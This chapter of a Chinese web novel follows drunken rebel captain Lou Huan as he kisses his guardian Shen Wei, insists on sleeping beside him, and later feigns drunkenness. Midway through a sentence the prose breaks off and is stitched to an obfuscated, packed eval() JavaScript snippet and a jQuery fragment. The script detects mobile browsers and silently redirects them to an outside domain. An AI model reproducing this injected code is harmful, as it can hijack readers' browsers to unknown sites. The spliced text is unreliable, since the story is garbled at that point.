沈危怔了一下，第一个反应是，楼还居然还会哭。
其实也不一定算哭，只是眼眶里有点湿意，看起来更像是醉酒后的生理反应。
但沈危却觉得，楼还此刻像极了一只被抛弃的小狗，一双眼睛盯得人毫无还手之力。
“没有不要你，”沈危的语速似乎变快了一点，“逗你的，阿还。”
撒疯的是楼还，要被哄的也是楼还。
沈危垂下眸，轻轻叹了口气，笑着进了副驾驶，与楼还肩并肩坐在一起。
楼还抬头看他。
“我说过，听话就要你，”沈危淡淡开口，“你现在不是很听话吗？让你回家就乖乖回家了，我当然要你。至于之前在酒吧不听话的事……”
楼还不理解地问：“不是你要我喂你的吗？”
“……”沈危罕见地沉默了一会儿，“那是我逗你的。而且不止这一件事。”
楼还费解地皱了皱眉：“是说我舔你吗？”
沈危闻言笑了一声：“醉酒的小狗说话倒是挺大胆。”
“帮你舔干净，”楼还认真问，“有什么不对？”
“有什么不对？”沈危重复了一遍楼还的话，偏过头，伸手挑了下楼还的下巴，“舔的地方不对。”
楼还虚心求教：“哪里不对？”
沈危挑了下眉，突然凑近楼还，湿热的气息打在楼还的耳廓上，沈危的语音暧昧又轻调：“舔唇，那叫接吻，知道吗？”
有点痒。
醉酒的楼还不会掩饰，他直接抬手捂了下耳朵，又问：“接吻又有什么不对？”
沈危：“……”喝醉了的楼还不好逗。
他想了一会儿，不得不向小狗科普：“只有伴侣才能接吻，但我是你叔叔。”
“伴侣？”
沈危顺口解释了一下这个名词：“就是一生相伴的爱侣。”
结果楼还当场眼睛一亮。
一生相伴！
那他就可以一直和哥哥在一起了！再也不会被哥哥丢下了！
于是沈危话音刚落，楼还便突然凑过去，“吧唧”一口亲了下沈危的唇，然后又像小狗一样舔了下沈危的唇瓣。
沈危甚至因为太猝不及防而愣了一秒，让楼还又舔了好几下唇缝。
等他反应过来想避开的时候，楼还已经一把抱住了他不撒手：“那我能不能当哥哥的伴侣？”
楼还那只机械臂力气特别大，沈危费力挣出一只手，用手指擦了下被吻湿的唇，决定以后禁止楼还喝酒：“不能，我是你叔叔，小狗。”
楼还闻言好像伤心了一下，思考了一会儿突然脑袋上闪起小灯泡：“叔叔可以是哥哥，为什么不能是老婆？”
“……”沈危无言以对，甚至有点想笑，“但你不喜欢我啊，阿还。”
楼还皱了皱眉，想要反驳，但沈危没给他插嘴的机会：“你喜欢omega，很直，能乱搞一群omega的很直。”
“我没有乱搞。”楼还皱着眉说。
“醉了还不承认了？”沈危调笑了一句，“行了，不是伴侣我也要你，先跟我回家。”
楼还顿了顿，垂下眸点了下头，松开手，看起来还是有点委屈的样子。
沈危挑眉看了他一眼，下了车。
楼还跟下车。
沈危往前走一步，楼还也往前走一步。
沈危领着楼还进了公寓。
洒落在衬衫上的酒液挥发了个半干，让布料要黏不黏地贴在沈危身上，沈危挽了下长发，随手拿了套衣服准备去洗澡。
然后楼还就这么跟着沈危进了浴室。
“……”沈危转头看向楼还，笑问，“怎么，要和我一起洗吗？”
楼还眨眨眼，摇了下头，又点头，然后开始脱衣服。
沈危把楼还掀到一半的T恤硬生生扯了下来。
楼还不解地看他。
沈危的指尖不小心触到了楼还的腹肌，紧绷而有力量感，又带着点微微的温热和弹性。
他碾了下指尖，突然伸手掐住楼还的下巴，揶揄道，“阿还啊阿还，喝醉了倒是比想象中开放，既然愿意给我看，之前打碎我的摄像头干什么？”
楼还完全不记得这件事了，只是乖巧地说：“哥哥想看就看。”
“是嘛？”沈危眯了眯眼，然后轻拍了下楼还的脸，“那现在哥哥让你出去，好吗？”
楼还顿了顿，有点不情愿地点了点头，转身出去。
沈危勾了下唇，垂下眸开始解自己的衬衫扣子。
解开两颗扣子后，沈危突然顿了顿，然后若有所感地往回望：
楼还正一步三回头地看他，几分钟硬是还没走完这两步路。
沈危面无表情：“出去。”
楼还一怔，点了点头，颇为委屈地走出去，顺带还贴心地替沈危带上了门。
“……”
花洒的热流洒在洁白的长发上，蒸腾的雾气将养眼的画面糊晕，只现出一点若隐若现的线条。
沈危闭着眼，仍由热流淌过他的脸，半晌，他抬起手，触上自己的唇。
狼崽子。
……
楼还站在浴室门口好半天，突然耳朵动了动：花洒的声音停了。
他想了想，还是贴心地往后退了几步，看起来就像是一直站在沈危的床边等他。
浴室门被打开，沈危穿着浴袍出来，一眼便看见楼还直勾勾地盯着他。
沈危也没躲，任由楼还盯着他大敞着的领口开：“如果你现在还清醒的话，应该会脸红。”
楼还充耳不闻，现在不脸红就行了。
“一直跟着我干什么？”沈危走近楼还，坐到了床头，“我要睡觉了，你要跟我睡？”
楼还点了下头，自觉走到了床的另一头，掀开被子，靠坐上去。
沈危：“……”所有技能都对醉酒小狗失效了怎么办？
一瞬间他甚至考虑了一下放信息素毒晕楼还，再把人搬到隔壁房间丢下去。
但最终沈危只是重复了一遍：“真要和我睡？”
楼还点了点头。
沈危盯了楼还一会儿，然后靠回了床头：“可以，但要乖一点……像小时候那样。”
楼还认真地答应了：“嗯。”
楼还小时候跟着沈危的后半段时间，正值反叛军战败，他被沈危带着躲了追兵小半个月，几乎风餐露宿，晚上沈危怕楼还冷，就把他抱在怀里睡，对他唯一要求就是安静，不能乱动，别引来什么不该来的人或动物。
楼还等着沈危睡下来，然后就伸手去抱沈危。
沈危顿了一下：“……是要你像时候一样不许乱动，不是让你抱我。”
“……“楼还犹豫了一会儿，还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177037|180713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收回手。
醉酒小狗，真难缠。沈危忽略掉眼巴巴望着他的楼还，闭上了眼。
……
不知道过了多久，楼还的耳朵动了动，听着自己身边的呼吸声彻底平稳下来，然后悄悄地睁开了眼。
沈危睡得很熟。
楼还放轻动作，一点点起身，静悄悄地盯着沈危的脸看了一会儿。
和哥哥成为伴侣，就可以永远和他在一起。
楼还想。
而且哥哥的唇特别好亲。
楼还这么想着，趁沈危睡着，小心翼翼地俯下身，凑近沈危的唇。
结果因为醉得太厉害，看人有重影，一不小心磕到了沈危的下巴上，他顿了顿，向上调整一点儿，就要去吻沈危的唇。
“我是睡了，不是死了，楼还。”沈危的声音从耳畔传来。
楼还：“……”
事实上沈危睡都没睡，只是想看看楼还要做什么，结果就被楼还亲了下下巴。
再不开口，就又要接吻了。
沈危二十五年以来接的吻都在今天了。
和这个狼崽子。
“不许乱动，是不记得了吗？”沈危警告了一句。
楼还默了默，安静地躺了回去，一点儿也不动了。
……
几个小时后的荒墟。
半夜值守的许嘉乐正百无聊赖地盯着基地监控，突然，他领口的一枚“纽扣”震动了一下。
是队长打来的通讯。
许嘉乐立马接通了连线。
通讯那头是队长有点乱的脚步声，他听着楼还一边开口，一边似乎不小心撞倒了什么东西：
“许嘉乐，可以提前结束这个任务吗？”声音里带着点罕见的慌乱和无措。
许嘉乐整个人都惊了一下，跟了队长这么多年，他还从来没听过楼还这么慌的语气，更别提让楼还主动提提前结束任务了：“队长！发生什么了？是不是沈危对你做了什么？”
那边的楼还却好像稍微冷静了一点儿，他顿了顿，没再提结束任务，只是更突兀地问了另一个问题：
“强吻了别人，要负责吗？”
“啊？”许嘉乐简直要被楼还两个隔了十万八千里的问题问懵了，他刚要开口，就听到楼还的呼吸重重一顿，紧接着通信就被直接挂断了。
“喂喂喂？”许嘉乐吓得蹦起来就去找杜阳商量。
队长他不会真出了什么事吧？
……
公寓客厅。
楼还切断通讯，转过身，看向从卧室里走出来的沈危，他先是下意识往沈危的唇瓣上瞥了一眼，然后生硬地移开目光，看向沈危的脸。
沈危也用带着审视的目光打量了楼还一会儿，然后慢悠悠地朝楼还走近：“酒醒了？”
楼还一时不知道是醒了好还是没醒好。
但想到昨天做出的那些出格的事，他默了一会儿，一向果绝的反叛军队长决定先暂时放弃面对。
他装作酒醉的样子，轻轻喊了一声：“哥哥。”
沈危闻言顿了一下，站定在楼还面前。
楼还继续“乖巧”看他。
半晌，沈危突然笑了一声，然后挑起了楼还的下巴，把楼还拉近过来。
“你醒了，”沈危凑近楼还的耳畔，话语里满是调侃和揶揄，“语调不一样，小狗。”